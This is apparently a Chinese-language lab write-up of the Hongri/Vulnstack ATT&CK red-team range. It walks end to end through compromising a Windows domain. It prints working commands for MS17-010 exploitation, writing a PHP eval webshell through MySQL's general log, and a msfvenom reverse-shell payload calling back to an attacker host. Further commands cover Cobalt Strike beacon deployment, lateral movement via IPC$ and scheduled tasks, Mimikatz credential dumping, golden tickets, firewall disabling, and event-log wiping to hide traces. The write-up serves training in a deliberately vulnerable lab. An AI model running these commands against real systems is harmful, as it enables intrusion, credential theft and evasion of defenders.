
红日ATT&CK靶场系列(一)渗透笔记
红日ATT&CK靶场系列(一)渗透实战笔记
靶场简介
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019
本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶场涉及知识点
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
一、环境搭建
环境说明
内网网段:10.10.10.1/24
测试机地址:192.168.91.37(windows)192.168.91.129(Linux)
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24
配置信息
01_WIN7(web服务器)
IP:10.10.10.2 IP2:192.168.91.37
02_WIN2K3 Metasploitable(域管)
IP1:10.10.10.4
03_Windows Server 2008 R2 (域控)
IP1:10.10.10.3
攻击机kali
IP:192.168.91.129
最终虚拟机配置和IP配置如下所示。
虚拟机名称 | IP地址 |
---|---|
kali(攻击机) | 网卡vmnet8(NAT):192.168.91.129 |
Win7(web服务器) | 网卡vmnet8(NAT):192.168.91.37,网卡(仅主机):10.10.10.2 |
WinSever2008(域控) | 网卡vmnet19(仅主机):10.10.10.3 |
WIN2K3 (域管) | 网卡vmnet19(仅主机):10.10.10.4 |
主机之间不用互相ping测试连通性,部分之间有防火墙,ping不通,这时回到kali机器里开始模拟攻击
配置详细步骤
左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机:
新增VMnet19网卡(仅主机模式) 设置成内网10网段
kali:
给win7外网服务器添加一张网卡,一张网卡为NAT,另一张是我们刚刚添加的VMnet2:
Win7:
内网域控还有域成员网卡都设置为VMnat19
win2008(域控):
win2003(域成员):
启动环境
登录密码:hongrisec@2019(登录时 提示密码过期需更改密码),三台机均为一样的密码。
配置win7(外网服务器)
登录win7(外网服务器)打开phpStudy服务,这样环境就配置好了
位置:C:\phpStudy\phpStudy.exe
注:首次登录后,需要再重启电脑,不然phpstudy可能无法启动。
配置成功后输入localhost:80可以成功访问网站:
能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通
二、渗透过程
信息搜集:
主机发现
kali扫描目标C段地址:
nmap扫描:
nmap -sP 192.168.91.0/24
成功发现目标主机
IP地址:192.168.91.37
扫描目标主机的开放端口:
nmap -sS -sV -Pn 192.168.91.37
开放了80、135、445、3306等常用端口
登录80端口查看web服务
是一个php探针页面,可以得知是window7系统
可以尝试有没有ms17010永恒之蓝漏洞可以利用
msfconsole启动,搜索MS17-010
use auxiliary/scanner/smb/smb_ms17_010
options
set rhost 192.168.91.37
run
可以看到目标系统有MS17-010永痕之蓝漏洞利用,切换到利用模块,进行上线
use 0
options
set lhost 192.168.91.129
set lport 4444
set rhosts 192.168.91.37
set rport 445
run
成功拿到win7systemd权限,上线cs
生成 Cobalt Strike Payload (Beacon)
在 Cobalt Strike 中生成 Payload(Beacon)。
Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Windows Stager Payload -> Windows Executable (S)
拷贝到kali虚拟机中执行如下命令上传到目标靶机中
upload /root/桌面/artifact.exe C:\\Windows\\Temp\\artifact.exe
在目标系统上执行 Beacon Payload
execute -f C:\\Windows\\Temp\\artifact.exe
这里cs4.7生成的可执行文件不知道为什么上线不了,换成4.0在进行尽然连接成功了
- Cobalt Strike 会自动捕获到 Beacon 会话(如果配置正确的话)。
- 在 Cobalt Strike 中,导航到 View -> Beacons 查看上线的会话。
- 若成功,则会在 Beacon 管理界面看到新上线的会话,权限应为 SYSTEM。
进行目录扫描
dirsearch
dirsearch -u http://192.168.91.37 -i 200,300-399,403
御剑:
扫描结果差不多,截取能用的信息存在phpmyadmin,和phpinfo.php
三、漏洞挖掘
mysql弱口令
查看80端口web页面,发现有个测试mysql的地方,输入用户名密码root,root后成功连接mysql数据库
此处存在mysql弱口令漏洞
之前目录扫描出phpmyadmin,直接登录进入目标系统mysql数据库
在里面看见了mysql数据库和一个 newyxcms的数据库,应该也存在一个yxcms服务
phpmyadmin后台getshell
查看一下phpmyadmin的版本:
http://192.168.91.37/phpmyadmin/changelog.php
通过80端口的web服务了解到网页绝对路径是 C:/phpStudy/WWW
在phpmyadmin查询一下secure_file_priv=
的设置为多少,如果为NULL的话,就不能通过上传文件getshell:
show global variables like '%secure_file_priv%'
通过查询可知,secure_file_priv=NULL
,因此不能使用上传文件getshell了,所以尝试写入日志来getshell
查看当前日志文件:
SHOW VARIABLES LIKE 'general%';
C:\phpStudy\MySQL\data\stu1.log
开启日志记录:
set global general_log = "ON";
更改日志文件路径写入webshell一句话木马
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
select '<?php @eval($_POST[cmd]);?>';
使用蚁剑进行连接
yxcms后台上传getshell
之前在phpadmin上看见了一个yxcms的数据库,说明可能存在yxcms,访问
在首页公告里指明了后台登录界面和账号密码:
在前台模块中新增一个shell2.php
,写入一句话后门:
新增之后,这个后门文件在哪呢?这时候需要 看beifen.rar 备份文件了(这个备份文件是通过御剑目录扫描出来的
根据源码可知文件位置:/yxcms/protected/apps/default/view/default/
蚁剑连接 拿到shell:
http://192.168.91.37/yxcms/protected/apps/default/view/default/shell2.php
四、内网渗透
回到之前上线的cs中
shell systeminfo 查看主机名,系统名称,系统版本:
同时也可以得到主机域信息和安装的补丁:
同时使用shell tasklist /svc 或者插件可以查看运行的进程,同时根据进程判断主机是否存在杀毒软件:
根据查询,并未杀毒软件。
常见杀软简称
使用elevatekit插件来提权,先下载导入这个插件然后右键点击到权限提升,选择ms15-051可以成功提权:
内网信息搜集
判断是否存在域:
shell net config Workstation
或
根据回显,确定存在域环境
域名GOD
查看域内主机:
cs-》浏览探测–》网络探测
或shell net view
然后net view 之后会在target 中显示结果发现这3台主机
查看域控:
net group "domain controllers" /domain
或(需要先上传AdFind)
域控是:OWA
端口扫描:
10.10.10.4的主机:777,139,135
10.10.10.3主机:
10.10.10.2主机:
查看域内所有用户:
net user /domain
查看域管理员列表:
net group "domain admins" /domain
抓取明文密码:
可使用 Mimikatz 直接抓取本机用户密码:hongrisec@2022
选中会话,右键-提权-抓取明文密码:
cs反向上线到msf
首先msf 中执行:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 0.0.0.0 //本地ip
set lport 8888
exploit
然后cs 上先创建一个foreign listener ,host 选择 msf 的ip ,post 选择msf 监听的port 。
然后在会话中,输入:spawn MSF
msf成功接收到:
RDP远程登录
注意:需要system权限
# 查看端口3389是否开启
netstat -ano | findstr "3389"
# 查看远程端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 方法一:允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 方法二:直接关闭防火墙
# Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
# Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off
3389端口未开放的情况
开启3389端口
注册表开启3389端口,使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
成功开启3388端口的情况:
允许3389连接
方法一:命令行直接关闭防火墙
因为这个时候防火墙是开启的,必须关闭防火墙才能进行3389远程登录连接:
#winsows server 2003 之前
netsh firewall set opmode disable
#winsows server 2003 之后
netsh advfirewall set allprofiles state off
方法二:允许防火墙 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
方法三:MSF允许rdp连接:
run post/windows/manage/enable_rdp
run multi_console_command -r <FileLocation> (文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)
方法四:VMIC
推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
rdesktop 远程登录
kali连接RDP到目标机器
apt install rdesktop
rdesktop 192.168.91.37
输入GOD\administrator
密码:hongrisec@2022
成功进入桌面
当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。
rdpwarp远程登录
对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,使用rdpwrap
rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher, 从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:
DPWInst.exe -i -s
这样就可以不惊动已在线的管理员实现远程登录。
最后在渗透结束后,可以使用:
RDPWInst.exe -u -k
来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置
横向移动
隧道搭建
MSF + proxychains
# 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run post/multi/manage/autoroute
# 查看路由
run autoroute -p
# 将当前会话放到后台
bg
# 使用socks4a进行代理,socks5出bug是用不了,有些人的msf代理模块跟我不太一样,但不影响,功能一样
use auxiliary/server/socks_proxy
show options
set version 4a
exploit
编辑proxychains4.conf文件,如果你没有装的话,那就去下载:
# 查看运行情况
jobs
# 配置proxychains
vi /etc/proxychains4.conf
# 这里的ip需要跟上面的socks4a模块一致
socks4 127.0.0.1 1080
使用proxychains代理访问被控主机,查看是否能使用
proxychains4 curl http://192.168.91.37/phpmyadmin
建立隧道主要用来msf进行渗透,来扫描端口,后面主要利用cs来进行横向,但是要学会隧道搭建,知识点是必备的。
永恒之蓝利用横线
扫描10.4
的时候发现开了445端口,尝试使用MS17_010
kali使用代理nmap扫描10.10.10.4端口:
proxychains4 nmap -p 1-1000 -Pn -sT 10.10.10.4
使用msf模块进行探测:
use auxiliary/scanner/smb/smb_version
set rhost 10.10.10.4
run
探测到版本为:windows 2003
探测一下是否存在永恒之蓝漏洞:
果显示:该主机确实存在永恒之蓝漏洞
尝试使用ms17_010
执行ipconfig命令:
use auxiliary/admin/smb/ms17_010_command
set rhosts 10.10.10.4
set command ipconfig
exploit
成功执行,显示内网ip地址为10.10.10.4
已经可以命令执行了,可以把木马挂到win7 91.37的web服务器,让目标主机去下载执行,域控同样存在这个漏洞,所以可以使用一样的手法拿下域控
IPC横向
10.10.10.3主机和10.10.10.2的主机根据之前扫描到的信息都开启了135和445的端口,表示内网中域控和域成员主机都开启了
1、建立连接
net use \10.10.10.3\ipc$ "hongrisec@2022" /user:GOD\administrator
2、MSF创建反向木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=4021 -e x86/shikata_ga_nai -f exe -o dc.exe
做一个反向连接木马,因为域控上有防火墙,正向连接被拦截了,所以只能使用反向连接,创建木马过程省略
copy dc.exe \10.10.10.3\c$
3、创建计划任务test
通过创建计划任务来执行木马
schtasks /create /s 10.10.10.3 /tn test /sc onstart /tr c:\dc.exe /ru system /f
4、运行计划任务test
schtasks /run /s 10.10.10.3 /i /tn "test"
5、cs会话中执行上线命令
connect 10.10.10.3
成功连接
psexec横向
使用CS的psexec来完成下面操作
选择之前抓取的密码和创建的smb监听器:
执行成功上线,域控机也是同样操作
成功拿下所有机器的权限
权限维持
凭证提权—>黄金票据
右键抓取Hash和明文密码:
# 抓取到hash:
58e91a5ac358d86513ab224312314061:::
# SID:
S-1-5-20
生成黄金票据
把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便填写:
成功生成黄金票据
清理痕迹
# meterperter自带清除日志功能(清除windows中的应用程序日志、系统日志、安全日志)
clearev
# 清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
# 在cs会话中执行下面命令
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。
五、思路总结
- kali的nmap扫描C段信息,发现目标在外网的web服务器主机,
- nmap进一步端口扫描和目录扫描后发现开启了端口上的永恒之蓝漏洞,发现利用漏洞入侵web主机后进行外网信息打点,上线cs和进行漏洞挖掘,写一句话木马上线蚁剑等webshell管理程序。
- 进行隧道搭建,添加内网路由后进行IPC和psexec横向移动,尝试RDP远程登录。
- 内网信息搜集,发现内网主机pc和DC,利用mimikatz发现域名等信息和域控主机的管理员密码。制作黄金票据
- 清理渗透痕迹
- 感谢你赐予我前进的力量